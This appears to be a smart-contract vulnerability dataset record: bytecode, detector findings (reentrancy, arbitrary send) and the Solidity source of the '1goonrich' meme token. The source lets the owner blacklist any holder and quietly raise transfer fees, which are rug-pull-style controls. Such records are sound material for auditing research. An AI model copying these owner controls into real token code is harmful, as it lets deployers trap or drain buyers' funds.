9250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122054b484932471c1b1f483e39a0ad2f1d8ab82807a0aa5f9fadd2416614193bd4464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,741
0xbb19e852e7310c5f478a69de32ff7c3c255abe48
// 1goonrich token ($1goonrich) // $$\ $$\ $$\ // $$$$ | \__| $$ | // \_$$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$$\ $$$$$$$\ // $$ | $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ |$$ _____|$$ __$$\ // $$ | $$ / $$ |$$ / $$ |$$ / $$ |$$ | $$ |$$ | \__|$$ |$$ / $$ | $$ | // $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ | // $$$$$$\\$$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ |$$ | $$ |\$$$$$$$\ $$ | $$ | // \______|\____$$ | \______/ \______/ \__| \__|\__| \__| \_______|\__| \__| // $$\ $$ | // \$$$$$$ | // \______/ // Telegram: https://t.me/onegoonrichtoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract onegoonrich is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "1goonrich token"; string private constant _symbol = "1goonrich"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 40; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 10; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101015760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461032b578063a9059cbb14610356578063d543dbeb14610393578063dd62ed3e146103bc578063ed995307146103f957610108565b806370a0823114610283578063715018a6146102c05780637b5b1157146102d75780638da5cb5b1461030057610108565b806323b872dd116100d157806323b872dd146101c9578063313ce567146102065780635932ead1146102315780636b9990531461025a57610108565b8062b8cf2a1461010d57806306fdde0314610136578063095ea7b31461016157806318160ddd1461019e57610108565b3661010857005b600080fd5b34801561011957600080fd5b50610134600480360381019061012f9190612a3f565b610410565b005b34801561014257600080fd5b5061014b610560565b6040516101589190612f03565b60405180910390f35b34801561016d57600080fd5b5061018860048036038101906101839190612a03565b61059d565b6040516101959190612ee8565b60405180910390f35b3480156101aa57600080fd5b506101b36105bb565b6040516101c091906130c5565b60405180910390f35b3480156101d557600080fd5b506101f060048036038101906101eb91906129b4565b6105cc565b6040516101fd9190612ee8565b60405180910390f35b34801561021257600080fd5b5061021b6106a5565b604051610228919061313a565b60405180910390f35b34801561023d57600080fd5b5061025860048036038101906102539190612a80565b6106ae565b005b34801561026657600080fd5b50610281600480360381019061027c9190612926565b610760565b005b34801561028f57600080fd5b506102aa60048036038101906102a59190612926565b610850565b6040516102b791906130c5565b60405180910390f35b3480156102cc57600080fd5b506102d56108a1565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190612ad2565b6109f4565b005b34801561030c57600080fd5b50610315610ad6565b6040516103229190612e1a565b60405180910390f35b34801561033757600080fd5b50610340610aff565b60405161034d9190612f03565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612a03565b610b3c565b60405161038a9190612ee8565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612ad2565b610b5a565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612978565b610ca3565b6040516103f091906130c5565b60405180910390f35b34801561040557600080fd5b5061040e610d2a565b005b610418611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c90613025565b60405180910390fd5b60005b815181101561055c576001600a60008484815181106104f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610554906133db565b9150506104a8565b5050565b60606040518060400160405280600f81526020017f31676f6f6e7269636820746f6b656e0000000000000000000000000000000000815250905090565b60006105b16105aa611296565b848461129e565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105d9848484611469565b61069a846105e5611296565b6106958560405180606001604052806028815260200161382760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064b611296565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c359092919063ffffffff16565b61129e565b600190509392505050565b60006009905090565b6106b6611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90613025565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610768611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec90613025565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061089a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c99565b9050919050565b6108a9611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109fc611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613025565b60405180910390fd5b60008111610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac390612fc5565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f31676f6f6e726963680000000000000000000000000000000000000000000000815250905090565b6000610b50610b49611296565b8484611469565b6001905092915050565b610b62611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690613025565b60405180910390fd5b60008111610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612fe5565b60405180910390fd5b610c616064610c5383683635c9adc5dea00000611d0790919063ffffffff16565b611d8290919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610c9891906130c5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d32611296565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690613025565b60405180910390fd5b600f60149054906101000a900460ff1615610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690612f45565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d919061294f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7f57600080fd5b505afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb7919061294f565b6040518363ffffffff1660e01b8152600401610fd4929190612e35565b602060405180830381600087803b158015610fee57600080fd5b505af1158015611002573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611026919061294f565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110af30610850565b6000806110ba610ad6565b426040518863ffffffff1660e01b81526004016110dc96959493929190612e87565b6060604051808303818588803b1580156110f557600080fd5b505af1158015611109573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112e9190612afb565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600881905550600a600981905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611240929190612e5e565b602060405180830381600087803b15801561125a57600080fd5b505af115801561126e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112929190612aa9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590613085565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612f85565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145c91906130c5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090613065565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612f25565b60405180910390fd5b6000811161158c576040517f0